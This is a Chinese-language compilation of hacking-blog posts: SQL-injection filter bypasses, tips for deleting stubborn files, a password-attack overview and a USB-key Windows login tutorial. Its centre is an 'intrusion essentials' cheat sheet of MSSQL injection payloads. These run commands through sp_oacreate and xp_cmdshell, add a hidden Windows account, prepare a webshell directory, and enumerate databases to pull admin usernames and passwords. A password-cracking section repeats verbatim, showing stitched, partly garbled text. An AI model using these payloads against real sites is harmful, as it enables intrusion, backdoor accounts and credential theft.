SQL注入:突破关键字过滤
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
select * from table exec xp_cmdshell'xxxxxxxxxx'
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧J
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了。可能大家早就知道了,不管怎么说,发在这里吧!
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
当遇到删不掉的文件应该怎样处理
在删除某个文件时,系统会给出各种各样的提示,反正就是死活不让删。造成这种情况的原因主要有三种:一是文件正在被系统使用,二是文件名中包含系统无法识别的字符,三是用户权限不够。我们主要研究前两种情况,下面做了个整理,帮你解决这个问题。
一、基本型
1.分步删除。如果你删除的是一个文件夹,可以尝试先将文件夹中的文件删除,然后再删除该文件夹。还有一种办法是在该文件夹下面新建一个文件,再对文件夹执行删除操作。
2.改名删除。将不能删除的文件或文件夹改名后再删除。
3.结束进程再删除。当你在删除文件时,如果系统提示"文件正在使用",首先检查一下是否没有退出与被删文件相关的程序,再看看系统进程中是否还有相关进程保留。这种情况常常出现在我们卸载软件后删除软件残留在系统中文件的时候。
4.重启后再删除。
5.换个系统再删除。使用多系统的朋友可以切换到另外一个系统中执行删除操作,这招比较有效。单系统的朋友则可以在DOS下使用RD(删除目录)或delete命令(删除文件)或者进入到安全模式底下进行删除操作。
6.结束掉Explorer进程后再删除。按下Ctrl+Alt+Del键打开任务管理器,切换到"进程"选项卡,结束掉Explorer进程,这时候桌面会丢失,不用着急,运行"文件→新任务",输入"cmd"后回车打开命令行窗口,进入待删文件所在目 录,用RD或delete命令删除即可。删除完毕后再次运行"文件→新任务"命令,输入"explorer"后回车,桌面又回来了。
7.关闭预览功能再删除。如果你在资源管理器中使用了视频、图片的预览功能,那么在删除此类文件时常常不成功,解决的办法是关闭该功能:Windows XP用户在"开始→运行"中输入"regsvr32 /u shmedia.dll"即可,Windows 2000用户则在资源管理器中的空白处单击鼠标右键,选择"自定义文件夹"选项,会出现自定义文件夹向导,进入到"请选择模板"窗口后,选择其中的"简易"便可以禁止视频预览了。
二、移花接木型
1.覆盖文件再删除。在硬盘的另外区域新建一个和待删文件同名的文件,然后剪切并覆盖待删文件,最后再删除该文件。
2.请常用软件"兼职"删除。我们可以使用Winrar、FlashFXP、Nero、ACDSee来删除顽固文件,这种方法往往有奇效。使用方法非常简单,以FlashFXP为例,只需在本地目录中浏览到待删文件,对其执行删除操作即可。
注意:使用Winrar来删除文件的方法跟其它软件不同,步骤如下:右键单击待删除文件或者文件夹,选择"添加到档案文件"菜单,在谈出窗口中勾选"存档后删除源文件",单击"确定",这样Winrar在创建压缩文件的同时,也会帮我们删除顽固的文件,我们只 需要将创建的压缩文件删除即可。
3.在别的机器上删除。如果你处于局域网中,可以尝试将待删文件所在的文件夹的属性设置为共享,并赋予读写权限,然后通过网上邻居或在所在的局域网内的其它的电脑上打开文件夹,执行删除操作。另外如果你电脑中安装了FTP服务器,我们还可以试试从FTP登录 本机,然后删除待删文件。
4.使用专业删除软件。大名鼎鼎的PC Tools这款小软件可以删除几乎所有"顽固"软件。运行软件后,先按任意键进入软件的主界面,然后按下F10并切换选中待删文件,按下D键并确认操作即可删除。
入侵网站必备(经典语句)
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
分析口令攻击技术
攻击原理
攻击者攻击目标时常常把破译用户的口令作为攻击的开始。只要攻击者能猜测或者确定用户的口令,他就能获得机器或者网络的访问权,并能访问到用户能访问到的任何资源。如果这个用户有域管理员或root用户权限,这是极其危险的。
分析口令攻击这种方法的前提是必须先得到该主机上的某个合法用户的帐号,然后再进行合法用户口令的破译。获得普通用户帐号的方法很多,如:
利用目标主机的Finger功能:当用Finger命令查询时,主机系统会将保存的用户资料(如用户名、登录时间等)显示在终端或计算机上;
利用目标主机的X.500服务:有些主机没有关闭X.500的目录查询服务,也给攻击者提供了获得信息的一条简易途径;
从电子邮件地址中收集:有些用户电子邮件地址常会透露其在目标主机上的帐号;查看主机是否有习惯性的帐号:有经验的用户都知道,很多系统会使用一些习惯性的帐号,造成帐号的泄露。
这又有三种方法:
(1)是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大。监听者往往采用中途截击的方法也是获取用户帐户和密码的一条有效途径。当前,很多协议根本就没有采用任何加密或身份认证技术,如在Telnet、FTP、HTTP、SMTP等传输协议中,用户帐户和密码信息都是以明文格式传输的,此时若攻击者利用数据包截取工具便可很容易收集到你的帐户和密码。还有一种中途截击攻击方法,它在你同服务器端完成"三次握手"建立连接之后,在通信过程中扮演"第三者"的角色,假冒服务器身份欺骗你,再假冒你向服务器发出恶意请求,其造成的后果不堪设想。另外,攻击者有时还会利用软件和硬件工具时刻监视系统主机的工作,等待记录用户登录信息,从而取得用户密码;或者编制有缓冲区溢出错误的SUID程序来获得超级用户权限。
(2)是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但攻击者要有足够的耐心和时间。如:采用字典穷举法(或称暴力法)来破解用户的密码。攻击者可以通过一些工具程序,自动地从电脑字典中取出一个单词,作为用户的口令,再输入给远端的主机,申请进入系统;若口令错误,就按序取出下一个单词,进行下一个尝试,并一直循环下去,直到找到正确的口令或字典的单词试完为止。由于这个破译过程由计算机程序来自动完成,因而几个小时就可以把上十万条记录的字典里所有单词都尝试一遍。
(3)是利用系统管理员的失误。在现代的Unix操作系统中,用户的基本信息存放在passwd文件中,而所有的口令则经过DES加密方法加密后专门存放在一个叫shadow的文件中。黑客们获取口令文件后,就会使用专门的破解DES加密法的程序来解口令。同时,由于为数不少的操作系统都存在许多安全漏洞、Bug或一些其他设计缺陷,这些缺陷一旦被找出,黑客就可以长驱直入。例如,让Windows95/98系统后门洞开的BO就是利用了Windows的基本设计缺陷。、放置特洛伊木马程序
特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知攻击者,来报告您的IP地址以及预先设定的端口。攻击者在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改你的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。
口令攻击类型
(1) 字典攻击
因为多数人使用普通词典中的单词作为口令,发起词典攻击通常是较好的开端。词典攻击使用一个包含大多数词典单词的文件,用这些单词猜测用户口令。使用一部1万个单词的词典一般能猜测出系统中70%的口令。在多数系统中,和尝试所有的组合相比,词典攻击能在很短的时间内完成。
(2) 强行攻击
许多人认为如果使用足够长的口令,或者使用足够完善的加密模式,就能有一个攻不破的口令。事实上没有攻不破的口令,这只是个时间问题。如果有速度足够快的计算机能尝试字母、数字、特殊字符所有的组合,将最终能破解所有的口令。这种类型的攻击方式叫强行攻击。使用强行攻击,先从字母a开始,尝试aa、ab、ac等等,然后尝试aaa、aab、aac ……。
攻击者也可以利用分布式攻击。如果攻击者希望在尽量短的时间内破解口令,他不必购买大量昂贵的计算机。他会闯入几个有大批计算机的公司并利用他们的资源破解口令。
(3)是利用系统管理员的失误。在现代的Unix操作系统中,用户的基本信息存放在passwd文件中,而所有的口令则经过DES加密方法加密后专门存放在一个叫shadow的文件中。黑客们获取口令文件后,就会使用专门的破解DES加密法的程序来解口令。同时,由于为数不少的操作系统都存在许多安全漏洞、Bug或一些其他设计缺陷,这些缺陷一旦被找出,黑客就可以长驱直入。例如,让Windows95/98系统后门洞开的BO就是利用了Windows的基本设计缺陷。、放置特洛伊木马程序
特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知攻击者,来报告您的IP地址以及预先设定的端口。攻击者在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改你的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。
口令攻击类型
(1) 字典攻击
因为多数人使用普通词典中的单词作为口令,发起词典攻击通常是较好的开端。词典攻击使用一个包含大多数词典单词的文件,用这些单词猜测用户口令。使用一部1万个单词的词典一般能猜测出系统中70%的口令。在多数系统中,和尝试所有的组合相比,词典攻击能在很短的时间内完成。
(2) 强行攻击
许多人认为如果使用足够长的口令,或者使用足够完善的加密模式,就能有一个攻不破的口令。事实上没有攻不破的口令,这只是个时间问题。如果有速度足够快的计算机能尝试字母、数字、特殊字符所有的组合,将最终能破解所有的口令。这种类型的攻击方式叫强行攻击。使用强行攻击,先从字母a开始,尝试aa、ab、ac等等,然后尝试aaa、aab、aac ……。
攻击者也可以利用分布式攻击。如果攻击者希望在尽量短的时间内破解口令,他不必购买大量昂贵的计算机。他会闯入几个有大批计算机的公司并利用他们的资源破解口令。
(3)NTCrack
NTCrack是UNIX破解程序的一部分,但是在NT环境下破解。NTCrack与UNIX中的破解类似,但是NTCrack在功能上非常有限。它不象其他程序一样提取口令哈希,它和NTSweep的工作原理类似。必须给NTCrack一个user id和要测试的口令组合,然后程序会告诉用户是否成功。
(4)PWDump2
PWDump2不是一个口令破解程序,但是它能用来从SAM数据库中提取口令哈希。L0phtcrack已经内建了这个特征,但是PWDump2还是很有用的。首先,它是一个小型的、易使用的命令行工具,能提取口令哈希;其次,目前很多情况下L0phtcrack的版本不能提取口令哈希。如SYSTEM是一个能在NT下运行的程序,为SAM数据库提供了很强的加密功能,如果SYSTEM在使用,L0phtcrack就无法提取哈希口令,但是PWDump2还能使用;而且要在windows2000下提取哈希口令,必须使用PWDump2,因为系统使用了更强的加密模式来保护信息。
UNIX口令破解程序:
(1) Crack
Crack是一个旨在快速定位UNIX口令弱点的口令破解程序。Crack使用标准的猜测技术确定口令。它检查口令是否为如下情况之一:和user id相同、单词password、数字串、字母串。Crack通过加密一长串可能的口令,并把结果和用户的加密口令相比较,看其是否匹配。用户的加密口令必须是在运行破解程序之前就已经提供的。
(2) John the Ripper
UNIX口令破解程序,但也能在Windows平台运行,功能强大、运行速度快,可进行字典攻击和强行攻击。
(3) XIT
XIT是一个执行词典攻击的UNIX口令破解程序。XIT的功能有限,因为它只能运行词典攻击,但程序很小、运行很快。
(4) Slurpie
Slurpie能执行词典攻击和定制的强行攻击,要规定所需要使用的字符数目和字符类型。如,可以能够Slurpie发起一次攻击,使用7字符或8字符、仅使用小写字母口令进行强行攻击。
和John、Crack相比,Slurpie最大的优点是它能分布运行,Slurpie能把几台计算机组成一台分布式虚拟机器在很短的时间里完成破解任务。
用U盘进入有密码的Windows系统
教你用U盘进入有密码的Windows系统 U盘如今可以说非常普及了,不过,如果只是把它用来存储数据的话,也许有点可惜了。其实,我们还可以让U盘发挥更大的能量!今天小编教你一招,能让你的U盘代替登录系统的密码,只有当你插上U盘才能正常进入系统操作,否则任何操作都无法进入系统。怎么样,是不是很有兴趣一试?
要想成功实现上述功能,我们需要借助名为Disklogon的小工具,它是一个功能强大的安全设置工具,可让我们使用优盘、软盘等移动设备来登录系统,可在登录时免于输入用户名和登录密码;而一旦移走了这些设备,系统便可以设置为自动锁定或关机。下面就来看看如何设置让优盘变成控制登录系统的"密钥盘"。
点击进入Disklogon下载页面
完成软件安装之后按要求重新启动,之后在进入系统的画面中单击"Password"按钮,然后使用键盘输入密码登录(如果之前设置了使用密码登录的话)。但我们是不希望每次都这样繁琐的,下面就来设置一下让优盘发挥更强大的功能,让它直接来控制系统登录。
直接开始菜单中单击"Disklogon Options"进入设置界面,随后依次执行如下步骤设定:
Step1:依次执行"Options/Disklogon/Disks"操作,窗口右侧中默认将所有的盘符都勾选了,但我们只希望用优盘来作为密钥盘,所以只勾选优盘的盘符(例如笔者的为L:)。
Step2:单击窗口左侧的"Options/DiskLogon/General"分支,接下来,我们要在右侧设置有优盘和无优盘时的不同操作:
1.在"Disk removal behavior"下拉列表框中选择"Lock computer when the disk is removed"(当磁盘被取出后将电脑锁定),这样当优盘被拔除后系统就自动锁定了;如果想在拔除优盘后自动注销,则可选择"Log off when the disk is removed"。
2.在"Log on to Windows"下拉列表框中选择"Log on when disk is connected"(当链接有优盘时自动登录系统),这样,如果在开机后没有连接优盘,则不能进入系统。
3.在"Unlock computer"下拉列表框中选择"Unlock computer when the disk is connected"(当连上优盘时自动解除对系统的锁定)。
小贴士:默认情况下,系统登录时,如果没有没有连接优盘,用户可点击"Cancel"然后手工输入用户名和密码来进入系统。但为了增强安全性,去掉"Allow users to type their usename and password to log on or unlock computer"(允许用户输入用户名和密码来登录或解锁系统)选项!如此一来没有优盘插入就无法登陆系统了。
控制系统登录之 创建登录信息
Step3:完成上述设置后,我们就可以进行最后一步设置了,即登录系统解锁时所用的用户名和密码。点击进入"User Accounts"标签,随后点击"Change Logon information"区域处的"Change"按钮,进入用户名、密码创建界面(图2)。具体步骤:在"Step1"区域选择当前系统中正在使用的U盘,接着点击"Step2"区域选择某ID号(如01),此时"Create New"将呈现可用状态,点击该按钮,并在随后的弹出窗口中输入用户名及密码即可。
如果希望用加密算法对登录信息进行加密,可勾选对话框中的"Encrypt this logon information with strong encryption algorithm"选项。添加完成后单击"close"按钮返回主窗口。
小贴士:设置了登录用户名和密码后,优盘根目录下会生成一个名为logon.dln的文件,这个文件不能删除!否则,下次重新启动时即使你插上了优盘,也会因为系统不能读取"指纹"而导致进不了系统!
至此,所有相关设置已经完成,现在你的U盘就已经是密钥盘了。在没有连接优盘的情况下根本是无法进入系统的;而在系统使用中途,如果将优盘拔除,系统便会自动锁定-单击对话框中的"Unlock"也是无效的,除非再次将优盘连接到电脑中。目前软件只支持Windows 2000/XP/2003系统。